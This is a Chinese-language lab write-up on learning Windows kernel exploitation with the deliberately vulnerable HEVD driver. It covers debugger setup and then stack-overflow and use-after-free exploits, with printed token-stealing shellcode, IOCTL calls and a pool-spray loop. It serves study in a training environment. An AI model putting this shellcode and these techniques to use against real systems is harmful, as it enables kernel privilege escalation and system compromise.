从0开始学习windows内核漏洞-HEVD篇

从0开始学习windows内核漏洞-HEVD篇

0x0 环境搭建

0x01 双机调试环境搭建
所需工具:

1、一个win7 sp x86虚拟机

2、由于本机是mac,所以用一个win10虚拟机当调试机(没法用virtualkd)(用的串口,内存16G开调试并不卡)

搭建过程:

参考:

https://bbs.pediy.com/thread-222660.htm

https://www.cnblogs.com/cxccc/p/13054553.html

1、修改两个虚拟机的.vmx文件

被调试机win7:

image-20220210161404280

image-20220210161417941

删除所有serial0相关字段,新增以下配置:

1
2
3
4
5
serial0.present = "TRUE"
serial0.fileType = "pipe"
serial0.fileName = "/private/tmp/com1"
serial0.tryNoRxLoss = "FALSE"
serial0.pipe.endPoint = "server"

调试机win10:

删除所有serial0相关字段,新增以下配置:

1
2
3
4
5
serial0.present = "TRUE"
serial0.fileType = "pipe"
serial0.fileName = "/private/tmp/com1"
serial0.tryNoRxLoss = "FALSE"
serial0.pipe.endPoint = "client"

2、修改被调试机win7的开机启动项

以管理员权限打开CMD,依次输入

1
2
3
4
bcdedit /copy {current} /d "Windows Debug Entry"
bcdedit /dbgsettings serial baudrate:115200 debugport:1
bcdedit /debug {提供的标识符} ON
bcdedit /set {提供的标识符} TESTSIGNING on

image-20220210164516411

image-20220210164603611

image-20220210164611809

3、在调试机win10的windbg中设置内核调试的参数

image-20220210162206178

4、确定windbg参数,点击后发现windbg在等待连接了,重启win7后进入调试,即可发现成功连接

image-20220210164727770

image-20220210162651264

image-20220210105358808

出现的问题:

(1)win7 sp x86虚拟机没法安装vmware tools

如图,按钮是灰色的

image-20220209164125027

解决方法:

参考https://cyhour.com/1645/

1、找到vmware里的windows.iso

image-20220209164154992

2、设置为虚拟机的cd/dvd

image-20220209164144263

3、开启虚拟机后即可点击打开vmware tools的安装包

image-20220209164112227

4、安装过程中出现错误

image-20220209164422968

5、下载kb4474419:kb4474419(ps:参考文章中链接失效了,重新找了官网的链接)并安装

image-20220209164847715

6、重新安装vmware tools即可

(2)无法使用com2连接

参考https://www.cnblogs.com/cxccc/p/13054553.html的配置

0x02 HEVD搭建
所需工具:

1、HEVD

2、OSR驱动加载器

搭建过程:

打开被调试机win7

打开osr driver loader,driver path设置为hevd.sys的路径

image-20220210172145465

image-20220210171445392

注册服务并启动服务

image-20220210171721236

在调试机win10上:

打开windbg,运行

1
2
lm m H*
lmDvmHEVD

image-20220216104616725

image-20220216104637185

点击browse all global symbols,看到如下情况就是成功了。

image-20220216104653505

0x1 栈溢出

0x11 原理

栈是一种数据结构,先进后出,用来保存函数的返回地址,参数,局部变量等数据。

栈溢出大概是最基础的漏洞,我的理解是程序没有对向栈中某变量写入数据的大小进行合理的控制,我们就可以构造一些数据(shellcode)来覆盖栈中其他相邻变量的值比如返回地址,从而让程序运行我们的代码。

0x12 实践

思路:

  1. 寻找能够程序中提供写入数据的点
  2. 找偏移,覆盖
  3. 写shellcode
寻找程序中提供输入的地方

用ida查看HEVD.sys

image-20220216110457268

程序在使用memcpy时,并没有对KernelBuffer输入大小进行判断和控制,就可能会出现栈溢出

找偏移,正确覆盖

在ida中修改base,修改为windbg中看到的HEVD的地址

image-20220216142639319

image-20220216111959313

得到函数开始和memcpy函数开始的地址:928851A2和92885235

image-20220216142815671

image-20220216142826873

同时buffer的大小是0x800

在windbg中下断点:

1
2
bu 928851A2
bu 92885235

然后运行,在被调试机上运行exp

image-20220216143422234

记录a8b88ab4

image-20220216143503302

记录buffer开始位置a8b88294

偏移为:a8b88ab4-a8b88294=0x820

运行官方exp:

buffer的大小是0x800,查看a8b88294(buffer开始位置)+0x7f0(第一行即为buffer最后一行)处的堆栈

image-20220216155549364

单步,可以看到堆栈被A填充满了

image-20220216155834943

ebp也被41覆盖了,返回地址00063710是shellcoded的地址

image-20220216155937626

官方exp运行结果:

image-20220216155339673

编写exp

首先需要知道如何和驱动通信:

用户通过I/O请求包IRP-》句柄引用文件对象-》设备对象-》驱动程序对象(ring0)

即通过文件对象定位到关联的设备对象,然后定位到驱动程序对象,I/O管理器将I/O请求传递给驱动程序的例程。

因此编写思路:

1、通过CreateFile函数创建一个指向xx设备对象的文件对象

2、调用DeviceIoControl函数对设备对象发出I/O请求,请求中包含提权的shellcode

3、使用CloseHandle函数关闭文件对象

框架:shellcode+buf+通信

提权的shellcode(官方):

原理:通过遍历进程找到system进程【pid=4】,复制它的token给当前线程即可提权,可以修改cmd token的值为system token即可提权

 __asm {
        pushad                               ; Save registers state
    ; Start of Token Stealing Stub
    xor eax, eax                         ; Set ZERO
    mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                         ; _KTHREAD is located at FS:[0x124]

    mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

    mov ecx, eax                         ; Copy current process _EPROCESS structure

    mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

    SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, FLINK_OFFSET
        cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID

    mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
    mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                         ; with SYSTEM process nt!_EPROCESS.Token
    ; End of Token Stealing Stub

    popad                                ; Restore registers state

    ; Kernel Recovery Stub
    xor eax, eax                         ; Set NTSTATUS SUCCEESS
    add esp, 12                          ; Fix the stack
    pop ebp                              ; Restore saved EBP
    ret 8                                ; Return cleanly
}

创建文件对象

CreateFileA函数:如果函数成功,则返回值是指定文件、设备、命名管道或邮槽的打开句柄。

1
2
3
4
5
6
7
8
9
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);

在源码中我们可以找到设备名称:HackSysExtremeVulnerableDriver,格式为\.\设备名称

image-20220211155004457

因此设备名称:\.\HackSysExtremeVulnerableDriver

同时在使用CreateFileA函数时,需要指定FILE_SHARE_READ和 FILE_SHARE_WRITE访问标志,fdwCreate参数必须指定 OPEN_EXISTING,hTemplateFile参数必须为NULL,fdwAttrsAndFlags参数可以指定 FILE_FLAG_OVERLAPPED来指示返回的句柄可以用于重叠(异步)I/O 操作。

代码如下:

1
2
3
4
5
6
7
hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
NULL);

定义buffer

我们要将返回地址覆盖为shellcode的位置,因此buffer大小为(0x820[覆盖到ebp]+0x4[返回地址]),即

1
2
3
char buf[0x824];#申请一个0x824大小的字符数组
memset(buf, 'A', 0x824);#全赋A
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;#最后4位返回地址为shellcode的地址

发出I/O请求

使用DeviceIoControl 函数(直接向指定的设备驱动程序发送控制代码,使相应的设备执行相应的操作)

1
2
3
4
5
6
7
8
9
10
BOOL DeviceIoControl(
[in] HANDLE hDevice, #要在其上执行操作的设备的句柄。设备通常是卷、目录、文件或流。要检索设备句柄,请使用CreateFile函数
[in] DWORD dwIoControlCode,#操作的控制代码
[in, optional] LPVOID lpInBuffer,#指向包含执行操作所需数据的输入缓冲区的指针
[in] DWORD nInBufferSize,#输入缓冲区的大小
[out, optional] LPVOID lpOutBuffer,#指向要接收操作返回的数据的输出缓冲区的指针
[in] DWORD nOutBufferSize,#输出缓冲区的大小
[out, optional] LPDWORD lpBytesReturned,#指向变量的指针,该变量接收存储在输出缓冲区中的数据大小
[in, out, optional] LPOVERLAPPED lpOverlapped#指向OVERLAPPED结构的指针
);

设置参数:

1、hDevice,设备的句柄,在createfile的时候返回了

2、dwIoControlCode,是由CTL_CODE宏定义的,用于创建一个唯一的32位系统I/O控制代码

到ida里寻找,使用0x222003(即IoControlCode)通信可以调用有栈溢出漏洞的函数

image-20220217150346522

3、lpInBuffer,我们定义的buf

4、nInBufferSize,buf的大小

代码如下:

1
DeviceIoControl(hFile,dwIoControlCode,(LPVOID)buf,0x824,NULL,0,&BytesReturned,NULL);

最终main函数:

image-20220217171459157

执行情况:成功

image-20220217171655895

image-20220217171758159

0x13 出现的问题

1、windbg显示不了调试信息

解决:输入以下命令:

1
ed nt!Kd_DEFAULT_Mask 8

0x2 UAF

0x21 原理

申请的内存块被释放后,其对应的指针没有被设置为 NULL,下次申请内存的时候可能会再次使用该内存块,使用代码对这块内存进行修改,之前的内存指针就可以访问修改过的内存。程序再次使用这块内存时,就可能会出现问题。

0x22 实践
漏洞点:

g_UseAfterFreeObjectNonPagedPool在内存块释放了之后,指针没有置空,因此会成为悬空指针(dangling pointer)

image-20220218133405073

查看g_UseAfterFreeObjectNonPagedPool的结构体PUSE_AFTER_FREE_NON_PAGED_POOL的定义

image-20220224154105071

有一个callback,在调用UseUaFObjectNonPagedPool时会调用

image-20220224162837607

因此存在uaf漏洞,我们需要将callback修改成我们的shellcode

利用:

思路:

  1. 申请内存
  2. 释放内存
  3. 申请一个内存,将callback指向我们的shellcode
  4. 调用UseUaFObjectNonPagedPool,shellcode就会执行

查看dwIoControlCode:

image-20220218170603669

编写exp:

1、申请和释放

1
2
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &rBuf, NULL);//调用AllocateUaFObject()函数申请内存
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &rBuf, NULL);//调用FreeUaFObject()函数释放对象

2、构造一个内存块,将callback指向我们的shellcode

参考common.h和UseAfterFreeNonPagedPool.h中的定义

1
2
3
4
5
6
typedef void (*FunctionPointer)(void);
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
1
2
3
PUSE_AFTER_FREE_NON_PAGED_POOL fake_UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)malloc(sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
fake_UseAfterFree->Callback = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->Buffer, sizeof(fake_UseAfterFree->Buffer), 'A');

但是由于windows的内存管理在释放一块内存时可能会与相邻的内存块合并以便构成更大的空闲块,只申请一块假堆并不能保证刚好用的是之前释放的那块内存,所以需要申请多个假堆

image-20220224163450742

1
2
3
4
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fake_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}

最后调用UseUaFObjectNonPagedPool,此时的callback函数已经变成我们的shellcode

1
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

最终main函数:

image-20220224164928968

执行情况:

image-20220311151937772

0x23 出现的问题

1、使用官方的提权shellcode会出现蓝屏,不太理解

2、堆喷射偶尔会失败,即并未覆盖到正确的位置从而没能成功提权